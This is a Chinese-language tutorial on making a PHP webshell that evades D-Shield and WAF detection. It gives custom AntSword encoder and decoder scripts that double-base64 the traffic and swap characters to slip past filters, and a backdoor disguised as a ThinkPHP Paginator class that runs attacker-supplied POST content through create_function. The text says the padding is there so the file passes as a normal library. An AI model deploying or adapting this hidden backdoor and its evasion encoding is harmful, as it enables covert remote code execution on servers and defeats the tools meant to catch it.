无eval 木马免杀人免杀D盾
编码器进行的加密,首先对传输的数据进行2层base64加密,由于一般waf可以对base64进行解密,然后在做检测,为了更好的绕过waf,这里对base64中的x字符进行替换变成***,这样在waf遇到这些数据的时候,就会识别不出来,具体代码
/** * php::base64编码器 * Create at: 2020/07/17 13:04:17 */ 'use strict'; /* * @param {String} pwd 连接密码 * @param {Array} data 编码器处理前的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组 */ module.exports = (pwd, data, ext={}) => { // ########## 请在下方编写你自己的代码 ################### // 以下代码为 PHP Base64 样例 // 生成一个随机变量名 let randomID = `_0x${Math.random().toString(16).substr(2)}`; // 原有的 payload 在 data['_']中 // 取出来之后,转为 base64 编码并放入 randomID key 下 data[randomID] = Math.random().toString(10).substr(-1); data[pwd] = Buffer.from(data['_']).toString('base64'); data[pwd] = Buffer.from(data[pwd] ).toString('base64'); data[pwd] = data[pwd].replace(/x/g,'***'); // 删除 _ 原有的payload delete data['_']; // 返回编码器处理后的 payload 数组 return data; }
蚁剑解码器
这里的解码器和上面的方法一样,对输出的数据进行base64两层加密,然后在将其中一个字符替换成其他内容,达到绕过效果,具体代码
/** * php::base64解码器 * Create at: 2020/07/17 13:00:30 */ 'use strict'; module.exports = { /** * @returns {string} asenc 将返回数据base64编码 * 自定义输出函数名称必须为 asenc * 该函数使用的语法需要和shell保持一致 */ asoutput: () => { return `function asenc($out){ $tmp = @base64_encode(@base64_encode($out)); $tmp = str_replace("c","---",$tmp); echo $temp; return $tmp; } `.replace(/\n\s+/g, ''); }, // /** * 解码 Buffer * @param {string} data 要被解码的 Buffer * @returns {string} 解码后的 Buffer */ decode_buff: (data, ext={}) => { //let temp = data.toString(); let temp = data.toString().replace(/---/g,"c"); console.log("ddd"); console.log(temp); console.log("ddd"); temp = Buffer.from(temp.toString(), 'base64'); temp = Buffer.from(temp.toString(), 'base64'); return temp; } }
对应的免杀shell
由于传输的编码器内容进过一些简单的加密处理,所以在shell中要进行解密,这里写得这么多主要是为了让别人认为这个一个正常的库文件
<?php // +---------------------------------------------------------------------- // | ThinkPHP [ WE CAN DO IT JUST THINK ] // +---------------------------------------------------------------------- // | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved. // +---------------------------------------------------------------------- // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) //------------------------ // Paginator 内置实现方法 //------------------------- class Paginator { // 路由规则 private static $rules = [ 'get' => [], 'post' => [], 'put' => [], 'delete' => [], 'patch' => [], 'head' => [], 'options' => [], '*' => [], 'alias' => [], 'domain' => [], 'pattern' => [], 'name' => [], ]; protected static $init = false; /** * @var string 当前模块路径 */ public static $modulePath; /** * @var bool 应用调试模式 */ public static $debug = true; /** * @var string 应用类库命名空间 */ public static $namespace = 'app'; /** * @var bool 应用类库后缀 */ public static $suffix = false; /** * @var bool 应用路由检测 */ protected static $routeCheck; /** * @var bool 严格路由检测 */ protected static $routeMust; /** * @var array 请求调度分发 */ protected static $dispatch; /** * @var array 额外加载文件 */ protected static $file = []; /** * 记录时间(微秒)和内存使用情况 * @access public * @param string $name 标记位置 * @return void */ public static function remark($name, $value = '') { self::$info[$name] = is_float($value) ? $value : microtime(true); if ('time' != $value) { self::$mem['mem'][$name] = is_float($value) ? $value : memory_get_usage(); self::$mem['peak'][$name] = memory_get_peak_usage(); } } public function __construct(){ $this->content = $_POST['content']; $this->content = str_replace("***", "x", $this->content); $this->content = base64_decode(base64_decode($this->content)); $name=$this->getName(); $name(); } private function getName(){ $b = create_function('', $this->content); return $b; } } /** * 创建一个URL请求 * @access public * @param string $uri URL地址 * @param string $method 请求类型 * @param array $params 请求参数 * @param array $cookie * @param array $files * @param array $server * @param string $content * @return \think\Request */ $server['PATH_INFO'] = ''; $server['REQUEST_METHOD'] = strtoupper($method); $info = parse_url($uri); if (isset($info['host'])) { $server['SERVER_NAME'] = $info['host']; $server['HTTP_HOST'] = $info['host']; } if (isset($info['scheme'])) { if ('https' === $info['scheme']) { $server['HTTPS'] = 'on'; $server['SERVER_PORT'] = 443; } else { unset($server['HTTPS']); $server['SERVER_PORT'] = 80; } } new Paginator(); if (isset($info['port'])) { $server['SERVER_PORT'] = $info['port']; $server['HTTP_HOST'] = $server['HTTP_HOST'] . ':' . $info['port']; } if (isset($info['user'])) { $server['PHP_AUTH_USER'] = $info['user']; } if (isset($info['pass'])) { $server['PHP_AUTH_PW'] = $info['pass']; } if (!isset($info['path'])) { $info['path'] = '/'; } $options = []; $options[strtolower($method)] = $params; $queryString = ''; if (isset($info['query'])) { parse_str(html_entity_decode($info['query']), $query); if (!empty($params)) { $params = array_replace($query, $params); $queryString = http_build_query($params, '', '&'); } else { $params = $query; $queryString = $info['query']; } } elseif (!empty($params)) { $queryString = http_build_query($params, '', '&'); } if ($queryString) { parse_str($queryString, $get); $options['get'] = isset($options['get']) ? array_merge($get, $options['get']) : $get; } $server['REQUEST_URI'] = $info['path'] . ('' !== $queryString ? '?' . $queryString : ''); $server['QUERY_STRING'] = $queryString; $options['cookie'] = $cookie; $options['param'] = $params; $options['file'] = $files; $options['server'] = $server; $options['url'] = $server['REQUEST_URI']; $options['baseUrl'] = $info['path']; $options['pathinfo'] = '/' == $info['path'] ? '/' : ltrim($info['path'], '/'); $options['method'] = $server['REQUEST_METHOD']; $options['domain'] = isset($info['scheme']) ? $info['scheme'] . '://' . $server['HTTP_HOST'] : ''; $options['content'] = $content;